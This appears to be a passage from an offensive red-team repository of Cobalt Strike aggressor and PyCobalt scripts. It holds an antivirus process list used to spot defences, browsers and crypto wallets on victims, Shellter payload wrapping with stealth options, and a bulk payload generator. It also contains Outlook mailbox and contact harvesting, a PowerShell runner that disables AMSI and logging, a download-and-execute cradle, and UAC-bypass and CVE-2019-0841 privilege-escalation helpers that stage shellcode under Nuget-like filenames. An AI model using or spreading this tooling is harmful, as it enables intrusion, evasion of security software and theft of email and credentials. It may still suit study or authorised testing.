'ppinupdt', 'pptbc', 102 | 'ppvstop', 'prizesurfer', 'prmt', 'prmvr', 103 | 'programauditor', 'proport', 'protectx', 'pspf', 104 | 'purge', 'qconsole', 'qserver', 'rapapp', 'rav7', 105 | 'rav7win', 'rav8win32eng', 'ray', 'rb32', 'rcsync', 106 | 'realmon', 'reged', 'regedit', 'regedt32', 107 | 'rescue', 'rescue32', 'rrguard', 'rshell', 108 | 'rtvscan', 'rtvscn95', 'rulaunch', 109 | 'safeweb', 110 | 'sahagentscan32', 'shstat', 'tbmon', 'vstskmgr', 111 | 'engineserver', 'mfevtps', 'mfeann', 'mcscript', 112 | 'updaterui', 'udaterui', 'naprdmgr', 113 | 'frameworkservice', 'cleanup', 'cmdagent', 'frminst', 114 | 'mcscript_inuse', 'mctray', 'mcshield', 'save', 115 | 'savenow', 'sbserv', 'sc', 'scam32', 'scan32', 116 | 'scan95', 'scanpm', 'scrscan', 'serv95', 117 | 'setup_flowprotector_us', 'setupvameeval', 'sfc', 118 | 'sgssfw32', 'sh', 'shellspyinstall', 'shn', 119 | 'showbehind', 'smc', 'smc', 'smcgui', 'sms', 120 | 'smss32', 'symcorpui', 'soap', 'sofi', 'sperm', 121 | 'spf', 'sphinx', 'spoler', 'spoolcv', 'spoolsv32', 122 | 'spyxx', 'srexe', 'srng', 'ss3edit', 'ssg_4104', 123 | 'ssgrate', 'st2', 'start', 'stcloader', 'supftrl', 124 | 'support', 'supporter5', 'svchostc', 'svchosts', 125 | 'sweep95', 'sweepnet.sweepsrv.sys.swnetsup', 'symproxysvc', 126 | 'symtray', 'sysedit', 'sysupd', 127 | 'taumon', 'tbscan', 'tc', 'tca', 'tcm', 128 | 'tds-3', 'tds2-98', 'tds2-nt', 'teekids', 'tfak', 129 | 'tfak5', 'tgbob', 'titanin', 'titaninxp', 130 | 'tracert', 'trickler', 'trjscan', 'trjsetup', 131 | 'trojantrap3', 'tsadbot', 'tvmd', 'tvtmd', 132 | 'undoboot', 'updat', 'update', 'upgrad', 'utpost', 133 | 'vbcmserv', 'vbcons', 'vbust', 'vbwin9x', 134 | 'vbwinntw', 'vcsetup', 'vet32', 'vet95', 'vettray', 135 | 'vfsetup', 'vir-help', 'virusmdpersonalfirewall', 136 | 'vnlan300', 'vnpc3000', 'vpc32', 'vpc42', 137 | 'vpfw30s', 'vptray', 'vscan40', 'vscenu6.02d30', 138 | 'vsched', 'vsecomr', 'vshwin32', 'vsisetup', 139 | 'vsmain', 'vsmon', 'vsstat', 'vswin9xe', 140 | 'vswinntse', 'vswinperse', 'w32dsm89', 'w9x', 141 | 'watchdog', 'webdav', 'webscanx', 'webtrap', 142 | 'wfindv32', 'whoswatchingme', 'wimmun32', 143 | 'win-bugsfix', 'win32', 'win32us', 'winactive', 144 | 'window', 'windows', 'wininetd', 'wininitx', 145 | 'winlogin', 'winmain', 'winnet', 'winppr32', 146 | 'winrecon', 'winservn', 'winssk32', 'winstart', 147 | 'winstart001', 'wintsk32', 'winupdate', 'wkufind', 148 | 'wnad', 'wnt', 'wradmin', 'wrctrl', 'wsbgate', 149 | 'wupdater', 'wupdt', 'wyvernworksfirewall', 'xpf202en', 150 | 'zapro', 'zapsetup3001', 'zatutor', 'zonalm2601', 151 | 'zonealarm', 152 | 153 | # ESET 154 | 'egui', 155 | 156 | # tools 157 | 'tcpview', 158 | 'wireshark', 159 | 'autoruns', 'autorunsc', 160 | 'logonsessions', 161 | 'netstat', 162 | 'procexp', 'procexp64', 'procexp', 'procexp64', 163 | 'processmonitor', 'procexplorerv1.0', 164 | 'procdump', 'procdump64', 'processhacker', 'peview', 'procmon', 165 | 'psloggedon', 166 | 'regedit', 'regshot', 167 | 'taskmg', 'taskmgr', 'taskmo', 168 | 'tcpview', 'wireshark' 169 | 'vmmap', 170 | 'handle', 'handle64', 171 | 172 | # debuggers 173 | 'win32_remote', 'win64_remotex64', 'windbg', 'kd', 174 | 'livekd', 'livekd64', 175 | 176 | # malware/analysts 177 | 'run32dll', 'rundll', 'rundll16', 'ruxdll32', 'rundll32', 178 | 'powershell', 179 | 180 | # bitdefender 181 | 'epag.exe', 'epupdateservice.exe', 'epsecurityservice.exe', 182 | 'eppowerconsole.exe', 'epintegrationservice.exe', 'epconsole.exe' 183 | ); 184 | 185 | @browsers = @( 186 | "chrome", 187 | "chromium", 188 | "firefox", 189 | "iexplore", 190 | "opera" 191 | ); 192 | 193 | # TODO add more 194 | @wallets = @( 195 | # bitcoin 196 | 'electrum' 197 | 198 | # decred 199 | 'dcrd', 'decrediton', 'dcrwallet', 200 | ); 201 | 202 | sub fillProcDescs { 203 | %proc_descs = %(); 204 | $handle = openf($process_file); 205 | @lines = readAll($handle); 206 | foreach $line (@lines) { 207 | #println($line); 208 | ($proc, $desc) = split("\t", $line); 209 | $proc = lc($proc); 210 | %proc_descs[$proc] = $desc; 211 | } 212 | } 213 | 214 | set BEACON_OUTPUT_PS { 215 | local('$outps $temp $name $ppid $pid $arch $user $session @ps'); 216 | $outps .= "\cC[*]\o Process List\n"; 217 | $outps .= "\cC[*]\o Current process: \c8 yellow \o \n"; 218 | $outps .= "\cC[*]\o Children: \c7 orange \o \n"; 219 | $outps .= "\cC[*]\o AV/HIPS: \c4 red \o \n"; 220 | $outps .= "\cC[*]\o Browsers: \c6 purple \o \n"; 221 | $outps .= "\cC[*]\o Wallets: \c9 green \o \n"; 222 | $outps .= "\cC[*]\o Explorer/Winlogon: \c2 blue \o \n\n"; 223 | $outps .= " PID PPID Name Arch Session User Description\n"; 224 | $outps .= "\cE --- ---- ---- ---- ------- ----- ------------\n"; 225 | 226 | $bd = bdata($1); 227 | 228 | # fill proc_descs 229 | if (!size(%proc_descs)) { 230 | fillProcDescs(); 231 | } 232 | 233 | foreach $temp (split("\n", ["$2" trim])) { 234 | ($exe, $ppid, $pid, $arch, $user, $session) = split("\t", $temp); 235 | $name = lc(strrep($exe, '.exe')); 236 | 237 | # highlight current process in YELLOW 238 | if ($pid eq $bd['pid']) { 239 | $color = "\c8"; 240 | # highlight children in ORANGE 241 | } else if ($ppid eq $bd['pid']) { 242 | $color = "\c7"; 243 | # highlight AV processes in RED. 244 | } else if ($name in @av) { 245 | $color = "\c4"; 246 | # highlight explorer , winlogon in BLUE 247 | } else if ($name in @('explorer', 'winlogon')) { 248 | $color = "\c2"; 249 | # highlight browsers processes in PURPLE 250 | } else if ($name in @browsers) { 251 | $color = "\c6"; 252 | # highlight wallets in GREEN 253 | # || strstr($name, 'wallet') || strstr($name, 'bitcoin') || strstr($name, 'ethereum')) { 254 | } else if($name in @wallets) { 255 | $color = "\c9"; 256 | } else { 257 | $color = ''; 258 | } 259 | 260 | $desc = %proc_descs[lc($exe)]; 261 | push(@ps, %(pid => $pid, entry => "$[5]pid $[5]ppid $color $[28]exe \o $[5]arch $[11]session $[25]user $desc")); 262 | } 263 | 264 | # sort the processes 265 | sort({ return $1['pid'] <=> $2['pid']; }, @ps); 266 | # append to our outstring 267 | foreach $temp (@ps) { 268 | $outps .= "$temp['entry'] \n"; 269 | } 270 | return $outps; 271 | } 272 | -------------------------------------------------------------------------------- /old/find_new_procs.py: -------------------------------------------------------------------------------- 1 | import processes 2 | 3 | av = ( 4 | 'alunotify', 5 | 'aluschedulersvc', 6 | 'CCAP', 7 | 'ccap', 8 | 'ccapp', 9 | 'ccevtmgr', 10 | 'ccEvtMgr', 11 | 'ccproxy', 12 | 'ccpxysvc', 13 | 'ccSetmgr', 14 | 'ccsetmgr', 15 | 'ccSetMgr', 16 | 'dbserv', 17 | 'djsnetcn', 18 | 'doscan', 19 | 'dwhwizrd', 20 | 'DWHWizrd', 21 | 'ghost_2', 22 | 'icepack', 23 | 'luall', 24 | 'LUALL', 25 | 'lucallbackproxy', 26 | 'lucoms', 27 | 'lucoms~1', 28 | 'ndetect', 29 | 'ngctw32', 30 | 'ngserver', 31 | 'nsctop', 32 | 'NscTop', 33 | 'nsmdtr', 34 | 'NSMdtr', 35 | 'olfsnt40', 36 | 'OLFSNT40', 37 | 'pxemtftp', 38 | 'pxeservice', 39 | 'rtvscan', 40 | 'RTVscan', 41 | 'SAVFMSESp', 42 | 'savroam', 43 | 'SavRoam', 44 | 'scanexplicit', 45 | 'SMSECtrl', 46 | 'SMSELog', 47 | 'SMSESJM', 48 | 'SMSESp', 49 | 'smsesp', 50 | 'SMSESrv', 51 | 'SMSETask', 52 | 'SMSEUI', 53 | 'sndmon', 54 | 'SNDMon', 55 | 'spbbcsvc', 56 | 'SPBBCSvc', 57 | 'SSM', 58 | 'symproxysvc', 59 | 'symsport', 60 | 'SymSPort', 61 | 'symtray', 62 | 'symwsc', 63 | 'UcService', 64 | 'updtnv28', 65 | 'UsrPrmpt', 66 | 'usrprmpt', 67 | 'VPC32', 68 | 'vpc32', 69 | 'wfxctl32', 70 | 'WFXMOD32', 71 | 'wfxsnt40', 72 | 'AluSchedulerSvc', 73 | 'ccApp', 74 | 'ccSvcHst', 75 | 'LUALL', 76 | 'Rtvscan', 77 | 'SavUI', 78 | 'SescLU', 79 | 'Smc', 80 | 'SmcGui', 81 | 'ccLgView', 82 | 'MCUI32', 83 | 'symlcsvc', 84 | 'AppSvc32', 85 | 'ccSvcHst', 86 | ) 87 | 88 | e = processes.shadowbrokers_executables() 89 | 90 | for item in av: 91 | if item.lower() + '.exe' not in e: 92 | print(item + '.exe') 93 | -------------------------------------------------------------------------------- /old/shellter.gui.cna: -------------------------------------------------------------------------------- 1 | include(script_resource("utils.cna")); 2 | include(script_resource("shellter.cna")); 3 | 4 | popup attacks { 5 | menu "Shellter" { 6 | item "For listener" { 7 | shellterListenerDialog(); 8 | } 9 | item "For shellcode" { 10 | shellterShellcodeDialog(); 11 | } 12 | item "For winexec" { 13 | shellterWinexecDialog(); 14 | } 15 | item "For powershell" { 16 | shellterWinexecDialog(); 17 | } 18 | } 19 | } 20 | 21 | sub shellterListenerDialog { 22 | local('%defaults'); 23 | 24 | %defaults['encrypt'] = 'true'; 25 | 26 | $dialog = dialog('Shellter', %defaults, &shellterGenerate); 27 | dialog_description($dialog, "Generate an executable or dll with shellter (win32/x86 only)"); 28 | 29 | drow_file($dialog, 'file', 'File: '); 30 | drow_file($dialog, 'save', 'Save to: '); 31 | drow_listener($dialog, 'listener', 'Listener: '); 32 | drow_checkbox($dialog, 'stageless', 'Stageless: ', 'Use stageless payload'); 33 | drow_checkbox($dialog, 'encrypt', 'Encrypt: ', 'Encrypt payload with msfvenom'); 34 | drow_checkbox($dialog, 'stealth', 'Stealth: ', 'Enable stealth mode'); 35 | 36 | dbutton_action($dialog, 'Generate'); 37 | dialog_show($dialog); 38 | } 39 | 40 | sub shellterShellcodeDialog { 41 | local('%defaults'); 42 | 43 | %defaults['encrypt'] = 'true'; 44 | 45 | $dialog = dialog('Shellter', %defaults, &shellterGenerate); 46 | dialog_description($dialog, "Generate an executable or dll with shellter (win32/x86 only)"); 47 | 48 | drow_file($dialog, 'file', 'File: '); 49 | drow_file($dialog, 'save', 'Save to: '); 50 | drow_file($dialog, 'shellcode', 'Shellcode: '); 51 | drow_checkbox($dialog, 'encrypt', 'Encrypt: ', 'Encrypt payload with msfvenom'); 52 | drow_checkbox($dialog, 'stealth', 'Stealth: ', 'Enable stealth mode'); 53 | 54 | dbutton_action($dialog, 'Generate'); 55 | dialog_show($dialog); 56 | } 57 | 58 | sub shellterWinexecDialog { 59 | local('%defaults'); 60 | 61 | $dialog = dialog('Shellter', %defaults, &shellterGenerate); 62 | dialog_description($dialog, "Generate an executable or dll with shellter (win32/x86 only)"); 63 | 64 | drow_file($dialog, 'file', 'File: '); 65 | drow_file($dialog, 'save', 'Save to: '); 66 | drow_text($dialog, 'winexec', 'Winexec: '); 67 | drow_checkbox($dialog, 'stealth', 'Stealth: ', 'Enable stealth mode'); 68 | 69 | dbutton_action($dialog, 'Generate'); 70 | dialog_show($dialog); 71 | } 72 | 73 | sub shellterPowershellDialog { 74 | local('%defaults'); 75 | 76 | $dialog = dialog('Shellter', %defaults, &shellterGenerate); 77 | dialog_description($dialog, "Generate an executable or dll with shellter (win32/x86 only)"); 78 | 79 | drow_file($dialog, 'file', 'File: '); 80 | drow_file($dialog, 'save', 'Save to: '); 81 | drow_text($dialog, 'powershell', 'Powershell: '); 82 | drow_checkbox($dialog, 'stealth', 'Stealth: ', 'Enable stealth mode'); 83 | 84 | dbutton_action($dialog, 'Generate'); 85 | dialog_show($dialog); 86 | } 87 | -------------------------------------------------------------------------------- /other.cna: -------------------------------------------------------------------------------- 1 | # eval aggressor script, with $b and bid set to BID 2 | alias eval { 3 | $bid = $1 4 | $b = bid 5 | $code = $2 6 | eval($code) 7 | } 8 | -------------------------------------------------------------------------------- /outlook.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import utils 5 | sys.path.insert(0, utils.basedir('pycobalt')) 6 | 7 | import textwrap 8 | 9 | import pycobalt.engine as engine 10 | import pycobalt.events as events 11 | import pycobalt.commands as commands 12 | import pycobalt.aliases as aliases 13 | import pycobalt.aggressor as aggressor 14 | import pycobalt.callbacks as callbacks 15 | import pycobalt.helpers as helpers 16 | 17 | # Common outlook stuff 18 | def outlook(): 19 | return helpers.code_string(r""" 20 | Add-type -assembly "Microsoft.Office.Interop.Outlook" | out-null 21 | $folders = "Microsoft.Office.Interop.Outlook.olDefaultFolders" -as [type] 22 | $outlook = new-object -comobject outlook.application 23 | $namespace = $outlook.GetNameSpace("MAPI") 24 | """) 25 | 26 | @aliases.alias('outlook-folders', 'Get list of outlook folders') 27 | def _(bid): 28 | command = '' 29 | command += outlook() 30 | command += '$namespace.Folders | Select FullFolderPath' 31 | aggressor.bpowerpick(bid, command) 32 | 33 | @aliases.alias('outlook-contacts', 'Get list of outlook contacts') 34 | def _(bid, outfile=None): 35 | command = '' 36 | command += outlook() 37 | command += helpers.code_string(r""" 38 | $contactObject = $namespace.GetDefaultFolder([Microsoft.Office.Interop.Outlook.OlDefaultFolders]::olFolderContacts) 39 | $contactList = $contactObject.Items; 40 | """) 41 | 42 | if outfile: 43 | # full version to file 44 | command += helpers.code_string(r""" 45 | $contactList > {out} 46 | $length = $contactList.Count 47 | echo "wrote $length contacts to {out}" 48 | """.format(out=outfile)) 49 | else: 50 | # short version to console 51 | command += '$contactList | Select-Object CompanyName, FullName, Email1DisplayName, Email2DisplayName, Email3DisplayName' 52 | 53 | aggressor.bpowerpick(bid, command) 54 | 55 | @aliases.alias('outlook', 'Get outlook folder', 'See `outlook -h`') 56 | def _(bid, *args): 57 | parser = helpers.ArgumentParser(bid=bid, prog='outlook') 58 | parser.add_argument('-f', '--folder', help='Folder name to grab') 59 | parser.add_argument('-s', '--subject', help='Match subject line (glob)') 60 | parser.add_argument('-t', '--top', metavar='N', type=int, help='Only show top N results') 61 | parser.add_argument('-d', '--dump', action='store_true', help='Get full dump') 62 | parser.add_argument('-o', '--out', help='Output file') 63 | try: args = parser.parse_args(args) 64 | except: return 65 | 66 | command = '' 67 | command += outlook() 68 | 69 | # -f/--folder 70 | if args.folder: 71 | # specified folder 72 | #folder = args.folder.lstrip('\\') 73 | command += helpers.code_string(r""" 74 | $folder = $namespace.Folders.Item("{}") 75 | """.format(folder)) 76 | else: 77 | # inbox 78 | command += helpers.code_string(r""" 79 | $folder = $namespace.getDefaultFolder($folders::olFolderInBox) 80 | """) 81 | 82 | command += helpers.code_string(r""" 83 | $folder.items""") 84 | 85 | # -s/--subject 86 | if args.subject: 87 | command += ' | Where-Object {{$_.Subject -Like "{}"}}'.format(args.subject) 88 | 89 | # -t/--top 90 | if args.top: 91 | command += ' | select -First {}'.format(args.top) 92 | 93 | # -d/--dump 94 | if not args.dump: 95 | # print summary only 96 | #command += ' | Format-Table -AutoSize Subject, ReceivedTime, SenderName, SenderEmailAddress' 97 | command += ' | Select-Object -Property Subject, ReceivedTime, SenderName, SenderEmailAddress' 98 | 99 | # -o/--out 100 | if args.out: 101 | command += ' > {}'.format(args.out) 102 | 103 | aggressor.bpowerpick(bid, command) 104 | 105 | -------------------------------------------------------------------------------- /parse_powerview.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import re 4 | import pprint 5 | 6 | powerview = '/share/tools/powershell/PowerSploit/Recon/PowerView.ps1' 7 | out = 'powerview_generated.py' 8 | 9 | current_function = None 10 | current_description = '' 11 | 12 | # {function: description} 13 | functions = {} 14 | # {alias: function} 15 | aliases = {} 16 | 17 | for line in open(powerview, 'r'): 18 | function_match = re.match('function ([^ ]+)\s*{.*', line) 19 | alias_match = re.match('Set-Alias ([^ ]+) (.+)', line) 20 | if function_match: 21 | current_function = function_match.group(1) 22 | elif alias_match: 23 | alias = alias_match.group(1) 24 | function = alias_match.group(2) 25 | aliases[alias] = function 26 | elif current_description and line.strip() == '#>': 27 | functions[current_function] = current_description 28 | current_function = None 29 | current_description = '' 30 | elif line.strip() == '<#': 31 | pass 32 | elif current_function: 33 | current_description += line 34 | 35 | print('writing {} functions and {} aliases to {}'.format(len(functions), len(aliases), out)) 36 | 37 | code = 'functions = ' + pprint.pformat(functions) + '\n\n' + \ 38 | 'aliases = ' + pprint.pformat(aliases) 39 | open(out, 'w+').write(code) 40 | -------------------------------------------------------------------------------- /payloads.cna: -------------------------------------------------------------------------------- 1 | # Generate all raw payloads. Output to a directory. 2 | command payloads { 3 | local('$out_dir'); 4 | $out_dir = $1; 5 | 6 | mkdir($out_dir); 7 | foreach $listener (listeners()) { 8 | println($listener) 9 | foreach $arch (@('x86', 'x64')) { 10 | foreach $format (@('raw', 'exe')) { 11 | foreach $type (@('stager', 'stageless')) { 12 | if ($type eq 'stager') { 13 | $payload = artifact_stager($listener, $format, $arch); 14 | } else { 15 | if ($format eq 'exe') { 16 | continue; 17 | } 18 | $payload = payload($listener, $arch, "thread"); 19 | } 20 | 21 | $out = $out_dir . '/' . $listener . '.' . $type . '.' . $arch . '.' . $format; 22 | println('writing to ' . $out); 23 | $handle = openf(">" . $out); 24 | writeb($handle, $payload); 25 | closef($handle); 26 | } 27 | } 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /powerpick.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import utils 3 | sys.path.insert(0, utils.basedir('pycobalt')) 4 | 5 | import pycobalt.engine as engine 6 | import pycobalt.sharpgen as sharpgen 7 | import pycobalt.aggressor as aggressor 8 | import pycobalt.helpers as helpers 9 | import pycobalt.commands as commands 10 | import pycobalt.aliases as aliases 11 | 12 | # IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:33007/'); 13 | 14 | _old_bpowerpick = None 15 | _old_bpowershell_import = None 16 | 17 | max_script_size = 200000 18 | sharpgen_cache = True 19 | 20 | def custom_powerpick(bid, command, silent=False, auto_host=True): 21 | # public static string PowerShellExecute(string PowerShellCode, bool OutString = true, bool BypassLogging = true, bool BypassAmsi = true) 22 | code = helpers.code_string(r""" 23 | string powershell = String.Join("\n", args); 24 | var results = Execution.PowerShell.RunAsync(powershell, disableLogging: true, disableAmsi: true, bypassExecutionPolicy: true); 25 | foreach (string result in results) { 26 | Console.Write(result); 27 | } 28 | """) 29 | 30 | if not silent: 31 | aggressor.btask(bid, 'Tasked beacon to run: {} (custom unmanaged)'.format(command.replace('\n', ' '))) 32 | 33 | # include cradle for `powershell-import`/`bpowershell_import` 34 | cradle = aggressor.beacon_host_imported_script(bid) 35 | if cradle: 36 | command = cradle + '\n' + command 37 | 38 | # if the script is too long, host it 39 | if auto_host and len(command) > max_script_size: 40 | command = aggressor.beacon_host_script(bid, command) 41 | 42 | engine.message(command) 43 | references = ['mscorlib.dll', 'System.dll', 'System.Core.dll', 'System.Management.Automation.dll'] 44 | sharpgen.execute(bid, code, [''] + command.split('\n'), 45 | references=references, resources=[], cache=sharpgen_cache) 46 | 47 | @aliases.alias('old-powerpick', "Run Cobalt Strike's powerpick instead of custom powerpick") 48 | def _(bid, *command): 49 | global _old_bpowerpick 50 | 51 | command = ' '.join(command) 52 | 53 | if _old_bpowerpick: 54 | _old_bpowerpick(bid, command) 55 | else: 56 | aggressor.bpowerpick(bid, command) 57 | 58 | def enable_custom_powerpick(): 59 | global _old_bpowerpick 60 | 61 | if not _old_bpowerpick: 62 | _old_bpowerpick = aggressor.bpowerpick 63 | aggressor.bpowerpick = custom_powerpick 64 | 65 | def disable_custom_powerpick(): 66 | global _old_bpowerpick 67 | 68 | if _old_bpowerpick: 69 | aggressor.bpowerpick = _old_bpowerpick 70 | _old_bpowerpick = None 71 | 72 | @commands.command('custom-powerpick') 73 | def _(mode): 74 | if mode == 'on': 75 | engine.message('Enabled custom powerpick') 76 | enable_custom_powerpick() 77 | elif mode == 'off': 78 | engine.message('Disabled custom powerpick') 79 | disable_custom_powerpick() 80 | else: 81 | engine.error('Usage: custom-powerpick on|off') 82 | -------------------------------------------------------------------------------- /powerview.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import utils 5 | sys.path.insert(0, utils.basedir('pycobalt')) 6 | 7 | import textwrap 8 | 9 | import pycobalt.engine as engine 10 | import pycobalt.events as events 11 | import pycobalt.commands as commands 12 | import pycobalt.aliases as aliases 13 | import pycobalt.aggressor as aggressor 14 | import pycobalt.callbacks as callbacks 15 | import pycobalt.helpers as helpers 16 | import pycobalt.sharpgen as sharpgen 17 | from pycobalt.helpers import powershell_quote 18 | 19 | import powerview_generated 20 | import external 21 | 22 | functions = {**powerview_generated.functions} 23 | 24 | # add aliases 25 | for alias, function in powerview_generated.aliases.items(): 26 | functions[alias] = 'PowerView alias for {}'.format(function) 27 | 28 | # generate function aliases 29 | for function, description in functions.items(): 30 | def callback(bid, *args, function=function): 31 | external.run(bid, 'powerview', '{} {}'.format(function, ' '.join(args))) 32 | 33 | # get short help 34 | in_synopsis = False 35 | short_help = '' 36 | for line in description.splitlines(): 37 | line = line.strip() 38 | if line == '.SYNOPSIS': 39 | in_synopsis = True 40 | elif short_help and not line: 41 | break 42 | elif in_synopsis: 43 | if short_help: 44 | short_help += ' ' 45 | short_help += line 46 | 47 | if not short_help: 48 | short_help = 'PowerView function' 49 | 50 | aliases.register(function.lower(), callback, short_help, description) 51 | -------------------------------------------------------------------------------- /privesc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import utils 5 | sys.path.insert(0, utils.basedir('pycobalt')) 6 | 7 | import pycobalt.engine as engine 8 | import pycobalt.events as events 9 | import pycobalt.commands as commands 10 | import pycobalt.aliases as aliases 11 | import pycobalt.aggressor as aggressor 12 | import pycobalt.callbacks as callbacks 13 | import pycobalt.helpers as helpers 14 | from pycobalt.helpers import powershell_quote 15 | import pycobalt.utils 16 | 17 | import external 18 | 19 | @aliases.alias('powerup', 'Run PowerUp') 20 | def _(bid, *args): 21 | external.run(bid, 'powerup', '$FormatEnumerationLimit=-1; ' + ' '.join(args)) 22 | 23 | @aliases.alias('powerup-all', 'Run PowerUp Invoke-AllChecks') 24 | def _(bid, *args): 25 | external.run(bid, 'powerup', '$FormatEnumerationLimit=-1; Invoke-AllChecks | Format-List' + ' '.join(args)) 26 | 27 | @aliases.alias('import-powerup', 'Import PowerUp') 28 | def _(bid): 29 | external.import_script(bid, 'powerup') 30 | 31 | @aliases.alias('sharpup', 'Run SharpUp') 32 | def _(bid, *args): 33 | external.run(bid, 'sharpup', args) 34 | 35 | def elevate_token_shellcode_csharp(bid, shellcode): 36 | """ 37 | Elevate with token duplication bypass. Execute `shellcode` with a C# helper. 38 | """ 39 | 40 | aggressor.bpowershell_import(bid, utils.basedir('modules/FilelessUACBypass.ps1')) 41 | 42 | execute_shellcode = utils.basedir('tools/execute_shellcode.exe') 43 | execute_assembly = utils.basedir('tools/execute_assembly.exe') 44 | stage1 = r'{}\NugetPackage.exe'.format(helpers.guess_temp(bid)) 45 | #stage2 = r'{}\nuget_update.package'.format(helpers.guess_temp(bid)) 46 | stage2 = r'{}\Stage2.exe'.format(helpers.guess_temp(bid)) 47 | package = r'{}\nuget.package'.format(helpers.guess_temp(bid)) 48 | 49 | helpers.upload_to(bid, execute_assembly, stage1) 50 | helpers.upload_to(bid, execute_shellcode, stage2) 51 | helpers.upload_to(bid, shellcode, package) 52 | 53 | command = 'Invoke-TokenDuplication -Binary {}'.format(powershell_quote(stage2)) 54 | aggressor.bpowerpick(bid, command) 55 | 56 | aggressor.brm(bid, stage1) 57 | aggressor.brm(bid, stage2) 58 | aggressor.brm(bid, package) 59 | 60 | def elevate_shellcode_helper(bid, shellcode, function): 61 | """ 62 | Execute `shellcode` with a helper using -Binary helper.exe -Arguments 63 | """ 64 | 65 | native_helper = utils.basedir('tools/native.exe') 66 | native_helper_remote = r'{}\NugetPackage.exe'.format(helpers.guess_temp(bid)) 67 | shellcode_remote = r'{}\nuget.package'.format(helpers.guess_temp(bid)) 68 | 69 | # delete first 70 | aggressor.brm(bid, native_helper_remote, silent=True) 71 | aggressor.brm(bid, shellcode_remote, silent=True) 72 | 73 | # upload 74 | helpers.upload_to(bid, native_helper, native_helper_remote, silent=True) 75 | helpers.upload_to(bid, shellcode, shellcode_remote, silent=True) 76 | 77 | # invoke 78 | command = '{} {}'.format(native_helper_remote, shellcode_remote) 79 | function(bid, command) 80 | 81 | # clean up 82 | aggressor.brm(bid, native_helper_remote, silent=True) 83 | aggressor.brm(bid, shellcode_remote, silent=True) 84 | 85 | def elevate_token_shellcode(bid, shellcode): 86 | """ 87 | Elevate with token duplication bypass and shellcode spawner. 88 | """ 89 | 90 | elevate_shellcode_helper(bid, shellcode, elevate_token_command) 91 | 92 | def elevate_token_command(bid, command, *other_args): 93 | """ 94 | Elevate with token duplication bypass. Execute `command` with `arguments`. 95 | """ 96 | 97 | command, *arguments = command.split() 98 | 99 | aggressor.bpowershell_import(bid, utils.basedir('modules/FilelessUACBypass.ps1')) 100 | powershell = 'Invoke-TokenDuplication -Binary {} '.format(powershell_quote(command)) 101 | 102 | if arguments: 103 | powershell += '-Arguments {} '.format(powershell_quote(' '.join(arguments))) 104 | 105 | if other_args: 106 | powershell += ' '.join(other_args) 107 | 108 | aggressor.bpowerpick(bid, powershell) 109 | 110 | def elevate_slui_shellcode(bid, shellcode): 111 | """ 112 | Elevate with slui bypass and shellcode spawner. 113 | """ 114 | 115 | elevate_shellcode_helper(bid, shellcode, elevate_slui_command) 116 | 117 | def elevate_slui_command(bid, command): 118 | """ 119 | Elevate with slui bypass. 120 | """ 121 | 122 | aggressor.bpowershell_import(bid, utils.basedir('modules/FilelessUACBypass.ps1')) 123 | aggressor.bpowerpick(bid, 'Invoke-SluiBypass -Command {}'.format(powershell_quote(command))) 124 | 125 | def elevate_fodhelper_shellcode(bid, shellcode): 126 | """ 127 | Elevate with fodhelper bypass and shellcode spawner. 128 | """ 129 | 130 | elevate_shellcode_helper(bid, shellcode, elevate_fodhelper_command) 131 | 132 | def elevate_fodhelper_command(bid, command): 133 | """ 134 | Elevate with fodhelper bypass. 135 | """ 136 | 137 | aggressor.bpowershell_import(bid, utils.basedir('modules/FilelessUACBypass.ps1')) 138 | aggressor.bpowerpick(bid, 'Invoke-FodhelperBypass -Command {}'.format(powershell_quote(command))) 139 | 140 | def elevate_eventvwr_command(bid, command): 141 | """ 142 | Elevate with eventvwr bypass. 143 | """ 144 | 145 | aggressor.bpowershell_import(bid, utils.basedir('modules/Invoke-EventVwrBypass.ps1')) 146 | aggressor.bpowerpick(bid, 'Invoke-EventVwrBypass -Command {}'.format(powershell_quote(command))) 147 | 148 | def elevate_wscript_shellcode(bid, shellcode): 149 | """ 150 | Elevate with wscript bypass and shellcode spawner. 151 | """ 152 | 153 | elevate_shellcode_helper(bid, shellcode, elevate_wscript_command) 154 | 155 | def elevate_wscript_command(bid, command): 156 | """ 157 | Elevate with wscript bypass. 158 | """ 159 | 160 | aggressor.bpowershell_import(bid, utils.basedir('modules/Invoke-WScriptBypassUAC.ps1')) 161 | aggressor.bpowerpick(bid, 'Invoke-WScriptBypassUAC -payload {}'.format(powershell_quote(command))) 162 | 163 | def elevate_runas_shellcode(bid, user, password, shellcode): 164 | """ 165 | Elevate with token duplication bypass. Execute `shellcode` with a helper. 166 | """ 167 | 168 | native_helper = utils.basedir('tools/native.exe') 169 | native_helper_remote = r'{}\NugetPackage.{}.exe'.format(helpers.guess_temp(bid), helpers.randstr()) 170 | shellcode_remote = r'{}\nuget2.package'.format(helpers.guess_temp(bid)) 171 | 172 | # delete first 173 | aggressor.brm(bid, native_helper_remote, silent=True) 174 | aggressor.brm(bid, shellcode_remote, silent=True) 175 | 176 | aggressor.blog2(bid, 'uploading to {} and {}'.format(native_helper_remote, shellcode_remote)) 177 | 178 | # upload 179 | helpers.upload_to(bid, native_helper, native_helper_remote, silent=True) 180 | helpers.upload_to(bid, shellcode, shellcode_remote, silent=True) 181 | 182 | if '\\' in user: 183 | domain, user = user.split('\\') 184 | else: 185 | raise RuntimeError('must specify user domain') 186 | 187 | # invoke 188 | aggressor.brunas(bid, domain, user, password, native_helper_remote) 189 | 190 | # clean up 191 | aggressor.brm(bid, native_helper_remote, silent=True) 192 | aggressor.brm(bid, shellcode_remote, silent=True) 193 | 194 | def elevate_cve_2019_0841(bid, target, overwrite=None): 195 | r""" 196 | Elevate with CVE-2019-0841. Change permissions of 'target'. Optionally 197 | overwrite 'target' with 'overwrite'. 198 | 199 | Good overwrite options: 200 | - C:\Program Files\LAPS\CSE\AdmPwd.dll (then run gpupdate) 201 | - C:\Program Files (x86)\Google\Update\1.3.34.7\psmachine.dll (then wait for google update or run it manually) 202 | """ 203 | 204 | native_hardlink_ps1 = utils.basedir('powershell/Native-HardLink.ps1') 205 | edge_dir = 